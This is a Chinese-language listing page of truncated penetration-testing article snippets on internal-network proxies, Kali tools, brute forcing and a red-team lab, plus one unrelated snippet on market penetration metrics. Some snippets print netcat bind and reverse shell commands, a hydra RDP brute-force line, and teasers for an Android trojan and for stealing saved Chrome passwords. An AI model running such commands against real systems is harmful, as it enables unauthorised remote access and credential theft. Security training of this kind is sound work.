[内网渗透]端口转发工具大合集
0x00 简介本文主要介绍一下端口转发工具。其中大部分内容均是从各位师傅那里转载过来的，最后会有标注相应的原文地址。文中工具下载地址：https://github....
渗透测试--使用kali入侵局域网手机实验
声明：本文仅限于技术讨论与学习，严禁用于非法途径，否则后果自负。原理：借助kali的Metasploit渗透测试框架生成远程木马，然后感染局域网内Android手机...
Kali渗透测试——UPNP网关发现工具Miranda - Genesis
Kali渗透测试——UPNP网关发现工具Miranda UPNP网关发现工具MirandaMirandaUPNP 是各种各样的智能设备、无线设备和个人电脑等实现遍布全球的对等网络连接（P2P）的结构。例如，迅雷软件就支持UPNP结构，从而加快软件下载速度...
Kali Linux 下渗透测试 | 3389 批量爆破神器 | hydra | 内网渗透测试
kali linux 下渗透测试，3389 批量爆破神器hydra -M target.txt rdp -L userlist.txt -P passwordlis...
内网渗透的边界场景分析+内网代理整理
先从nc开始理解正向代理和反向代理：1、正向连接受害者主机执行nc -e -t /bin/bash -lvp 7777攻击者执行nc -t 192.168.16.X 77772、反向连接受害者主机执行nc -t -e cmd.exe 192.168.16.104 7777攻击者主机执行n...
内网渗透之socks5代理（reGeorg+proxifier详细配置说明）
1. 首先我们需要明白正向代理和反向代理的区别1.1 正向代理(Forward Proxy)PythonLhost－－>proxy－－>RhostLho...
内网渗透——代理总结
内网各种代理的使用 1.早期ew，全名EarthWorm，不过被杀烂了：https://github.com/idlefire/ew2.frp3.reg，...
市场渗透率、用户留存率、ARPPU、APA
市场渗透率对于有形的商品，指的是在被调查的对象（总样本）中，一个品牌（或者品类、或者子品牌）的产品，使用（拥有）者的比例。也可以直接理解为用户渗透率或者消费者占有率，是一个品牌在市场中位置的总和，它是多年形成的结果。与市场占有率的区别市场占有率是有时间和单位限制的，也就是在某一时间段：年、季度、月度...
2024护网面试题精选(一)-0x01.渗透思路篇
00-拿到目标站以后的渗透思路？ 渗透测试流程：1. 项目前期准备工作2. 信息收集：whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、 数据库类型、二级域名、防火墙、维护者信息3. 漏洞扫描：Nessus, AWVS4. 手动挖掘：逻辑漏洞5. 验证漏洞6. 修复建议7...
Web攻防之二实施渗透测试（黑客如何拿网站权限）
通过上次的内容，我们知道可以通过注入得到需要的数据，比如后台管理员的账号、密码等，但是得到了账号密码后，我们要如何行动呢？首先要制定一个渗透流程：1、探测信息2、利用漏洞得到管理账号密码3、找到后台4、登录后台取得web权限探测信息在实施第一步骤的时候，我们要得到一些基本信息：1、server服务器...
Sliver C2通关渗透攻击红队内网域靶场2.0
准备2012 server第一台机器开机后，要在C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain手动运行下 startWebLogic.cmd，但是我访问7001遇到了报错：是路径配置错误，但是没搜到什么解决...
学习笔记：《Kali Linux 2 网络渗透测试 实践指南 第2版》之kali Linux使用基础
本章重点内容：1、Kali Linux中的文件系统2、Kali Linux 常用命令2.1 与文件目录相关的命令（pwd、cd、ls）...
渗透之路 环境搭建【第一篇】php攻防环境搭建
安装win2003虚拟机安装好win2003,安装好vmtools(物理机就能和win2003相互拖拽文件了)查看ip安装工具phpstudy安装和使用下载&nbs...
Web前端渗透测试技术小结（一）
首先端正一下态度不可干违法的事 1、SQL注入测试 对于存在SQL注入的网页，使用SQL语句进行关联查询（仿照C/S模式）eg ...
Kali Linux渗透测试实战 2.2 操作系统指纹识别
识别目标主机的操作系统，首先，可以帮助我们进一步探测操作系统级别的漏洞从而可以从这一级别进行渗透测试。其次，操作系统和建筑在...
Kali Linux Web 渗透测试秘籍 中文版
第一章 配置 Kali Linux简介在第一章中，我们会涉及如何准备我们的 Kali 以便能够遵循这本书中的秘籍，并使用虚拟机建立带有存在漏洞的 Web 应用的实验...
【内网渗透笔记】Windows2008 R2搭建域控制器
0x00 前言将网络中的多台计算机逻辑上组织到一起，进行集中管理，这种区别于工作组的逻辑环境叫做域（domain）。域是日常计算机管理的一种很有效手段，因此，域控制...
kali linux 网络渗透测试学习笔记（一）Nmap工具进行端口扫描
一.利用Nmap扫描网站服务器的端口开放情况首先打开我们的kali linux才做系统，再打开其命令行模式，输入：nmap www.csdn.net 如下图所示：&...
黑客渗透入门教程 第一课：粗暴的端口扫描
本文转载自：https://www.fujieace.com/hacker/tutorials/port-scanning....
渗透技巧——导出Chrome浏览器中保存的密码
0x00 前言在后渗透阶段，获得权限后需要搜集目标系统的信息。信息越全面，越有助于进一步的渗透。对于Windows系统，用户浏览器往往包含有价值的信息。在之前的文章...